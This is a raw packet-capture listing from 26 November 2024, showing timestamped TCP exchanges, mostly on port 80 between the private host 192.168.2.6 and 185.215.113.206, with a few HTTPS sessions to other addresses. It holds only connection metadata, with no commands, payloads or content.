Nov 26, 2024 01:41:17.648372889 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.648437977 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.648488045 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.650408030 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.650453091 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.650516033 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.650592089 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.652554989 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.652600050 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.652777910 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.652817011 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.654613018 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.654658079 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.654726028 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.654767990 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.656698942 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.656748056 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.656826973 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.656867027 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.658796072 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.658883095 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.658900023 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.658962011 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.660898924 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.660943985 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.661005020 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.661048889 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.662985086 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.663027048 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.663090944 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.663130045 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.665087938 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.665132999 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.665254116 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.665313959 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.667191029 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.667236090 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.667304039 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.667344093 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.669287920 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.669342995 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.669408083 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.669447899 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.671361923 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.671408892 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.698122978 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.698170900 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.698215961 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.698251963 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.699184895 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.699230909 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.699558973 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.699604988 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.699664116 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.699707985 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.701870918 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.701914072 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.702308893 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.702549934 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.703835964 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.703874111 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.703879118 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.703912020 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.705877066 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.705921888 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.705955982 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.705996990 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.707968950 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.708029985 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.708058119 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.708097935 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.710064888 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.710108042 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.710167885 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.710210085 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.712162018 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.712204933 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.712244034 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.712282896 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.714267969 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.714318991 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.714356899 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.714399099 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.716356993 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.716406107 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.716428041 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.716468096 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.718489885 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.718565941 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.718590021 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.718630075 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.720585108 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.720626116 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.720690966 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.720730066 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.722640991 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.722686052 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.722735882 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.722779989 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.724747896 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.724788904 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.724826097 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.724865913 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.726845980 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.726891041 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.726933002 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.726969957 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.728916883 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.728965044 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.767781019 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.767829895 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.767937899 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.767982960 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.768785954 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.768834114 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.769206047 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.769253969 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.769320965 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.769364119 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.771717072 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.771733046 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.771771908 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.771804094 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.773401976 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.773448944 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.773507118 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.773550034 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.775510073 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.775558949 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.775613070 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.775651932 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.777611971 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.777658939 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.777705908 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.777750015 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.779692888 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.779742956 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.779793024 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.779848099 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.781796932 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.781856060 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.781872034 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.781886101 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.783921003 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.783976078 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.783993006 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.784033060 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.786000967 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.786043882 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.786084890 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.786123037 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.788094044 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.788146019 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.788178921 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.788217068 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.790203094 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.790251970 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.790283918 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.790319920 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.792285919 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.792341948 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.792373896 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.792423964 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.794315100 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.794363022 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.794426918 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.794462919 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.796376944 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.796425104 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.796453953 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.796494961 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.798398018 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.798439980 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.798492908 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.798543930 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.800438881 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.800492048 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.800524950 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.800560951 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.802525997 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.802539110 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.802572012 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.802589893 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.804521084 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.804582119 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.804615021 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.804651022 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.806641102 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.806654930 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.806690931 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.806704998 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.808633089 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.808681011 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.808687925 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.808726072 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.810641050 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.810729027 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.810760975 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.810805082 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.812699080 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.812746048 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.812789917 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.812827110 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.814707041 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.814768076 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.844795942 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.844851017 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.844883919 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.844926119 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.845752954 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.845796108 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.845854998 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.845913887 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.847031116 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.847070932 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.847129107 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.847171068 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.848532915 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.848578930 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.848618031 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.848659039 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.850037098 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.850085974 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.850141048 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.850178957 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.851649046 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.851665974 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.851695061 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.851717949 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.852134943 CET	443	49723	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:17.852200031 CET	443	49723	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:17.852240086 CET	49723	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:17.852638006 CET	49723	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:17.852650881 CET	443	49723	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:17.852662086 CET	49723	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:17.852668047 CET	443	49723	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:17.852994919 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.853040934 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.853106022 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.853144884 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.854485989 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.854522943 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.854657888 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.854696989 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.855951071 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.855995893 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.856029034 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.856065035 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.857284069 CET	49732	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:17.857305050 CET	443	49732	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:17.857362032 CET	49732	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:17.857419014 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.857460022 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.857539892 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.857578993 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.858172894 CET	49732	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:17.858186960 CET	443	49732	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:17.858906984 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.858956099 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.859004021 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.859045029 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.860414028 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.860455990 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.860495090 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.860533953 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.861865044 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.861910105 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.861970901 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.862008095 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.863336086 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.863378048 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.863440037 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.863481998 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.864804029 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.864852905 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.895737886 CET	443	49707	173.222.162.64	192.168.2.6
Nov 26, 2024 01:41:17.895857096 CET	49707	443	192.168.2.6	173.222.162.64
Nov 26, 2024 01:41:17.898127079 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.898180962 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.898284912 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.898330927 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.898854017 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.898897886 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.898926020 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.898966074 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.899933100 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.899980068 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.900036097 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.900074959 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.901350975 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.901406050 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.901442051 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.901479959 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.902767897 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.902815104 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.902848959 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.902889013 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.904174089 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.904217005 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.904274940 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.904313087 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.905591965 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.905639887 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.905689001 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.905731916 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.906991959 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.907032967 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.907094002 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.907135010 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.908405066 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.908453941 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.908493042 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.908680916 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.909815073 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.909873009 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.909909964 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.909948111 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.911231041 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.911284924 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.911349058 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.911391020 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.912633896 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.912678003 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.912744999 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.912784100 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.914103985 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.914150000 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.914155006 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.914192915 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.915498972 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.915549994 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.969089031 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.969163895 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.969201088 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.969670057 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.969717026 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.969832897 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.969861031 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.969980955 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.970969915 CET	80	49715	185.215.113.206	192.168.2.6
